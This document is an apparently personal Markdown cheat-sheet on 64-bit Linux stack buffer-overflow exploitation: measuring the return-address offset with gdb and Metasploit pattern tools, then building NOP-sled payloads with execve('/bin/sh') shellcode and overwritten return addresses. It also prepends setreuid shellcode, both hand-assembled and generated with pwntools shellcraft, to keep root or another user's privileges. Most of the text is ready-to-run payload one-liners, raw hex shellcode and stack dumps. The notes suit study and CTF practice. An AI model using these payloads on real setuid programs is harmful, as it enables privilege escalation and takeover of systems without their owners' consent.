122 lines
5.4 KiB
Markdown
122 lines
5.4 KiB
Markdown
# Return Address reuse
|
|
|
|
## via Shellcode, an examples
|
|
* Find out the address of the start of the buffer and the start address of the return address
|
|
* Calculate the difference between these addresses so you know how much data to enter to overflow
|
|
* Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address
|
|
|
|
* Plus NOPsled (sometimes xargs is needed in front of the app call)
|
|
```python
|
|
python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow
|
|
```
|
|
|
|
## Finding Offset
|
|
### via gdb segfault output
|
|
* 64 bit addresses use 6 out of 8 byte for addresses.
|
|
```sh
|
|
gdb ./application
|
|
run $(python -c "print('\x41' * 180)")
|
|
```
|
|
* Return address hit completely when 6 bytes are filled.
|
|
```sh
|
|
Program received signal SIGSEGV, Segmentation fault.
|
|
0x0000414141414141 in copy_arg ()
|
|
```
|
|
* Buffer = measured_length - (`$rbp` + 6 bytes return address)
|
|
|
|
### via metasploit
|
|
```sh
|
|
/opt/metasploit/tools/exploit/pattern_create.rb -l 180
|
|
```
|
|
* Looking for `rbp` Content in front of the return address to measure offset
|
|
```sh
|
|
(gdb) i r
|
|
[...]
|
|
rbp 0x<rbpAddress> 0x<rbpConent>
|
|
[...]
|
|
```
|
|
* Measure offset
|
|
```sh
|
|
pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>
|
|
```
|
|
|
|
## Crafting Payload
|
|
* Contains Junk/NOPslice + shellcode + Junk over rbp + return address
|
|
* Inside gdb
|
|
```sh
|
|
run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
|
|
```
|
|
* Check actual stack
|
|
```sh
|
|
(gdb) x/100x $rsp-200
|
|
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
|
|
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
|
|
0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141
|
|
0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
|
|
0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
|
|
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
|
|
[...]
|
|
```
|
|
* Shellcode starts at `0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4`.
|
|
## NopSled
|
|
* Prepend **nopsled** instead of `A` and pick an address inside as the future return address, for example `0x7fffffffe2a8`.
|
|
```sh
|
|
(gdb) x/100x $rsp-200
|
|
0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
|
|
0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
|
|
0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090
|
|
0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
|
|
0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
|
|
0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
|
|
```
|
|
* Convert return address to little endian `0x7fffffffe2a8` -> `\xa8\xe2\xff\xff\xff\x7f` and put it inside the return address
|
|
```sh
|
|
run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")
|
|
```
|
|
|
|
## setuid() and setreuid()
|
|
* Shellcode needs `setuid(0)` for effective root uid or the equivalent id of the account needed.
|
|
* `/bin/sh` checks real uid not effective uid
|
|
* ./shellcodes/setuid_shell.as
|
|
|
|
### setreuid() in assembler
|
|
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
|
|
* `setreuid(1002,1002)` sets the __real__ uid inside the shell to 1002.
|
|
* `setreuid()` has `rax` number `\x71` (`113` dec). Args are stored in `rdi` and `rsi`.
|
|
* ./shellcode/setreuid_shell.as
|
|
```sh
|
|
"\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
|
|
```
|
|
* Convert to hex output via [Defuse](https://defuse.ca/online-x86-assembler.htm)
|
|
|
|
### setreuid() in shellcode using pwntools
|
|
* Shellcraft builds a shellcode containing `setreuid()`, without any parameter given the real uid to the file owner.
|
|
```sh
|
|
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
|
|
shellcraft -f d amd64.linux.setreuid
|
|
```
|
|
* The uid can be set as an argument
|
|
```sh
|
|
shellcraft -f d amd64.linux.setreuid <uid>
|
|
```
|
|
* Prepend this in front of the existing shellcode like this
|
|
```sh
|
|
run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
|
|
```
|
|
* Where the existing shellcode is the following
|
|
```sh
|
|
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
|
|
```
|
|
* Setreuid part is the following
|
|
```sh
|
|
\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
|
|
```
|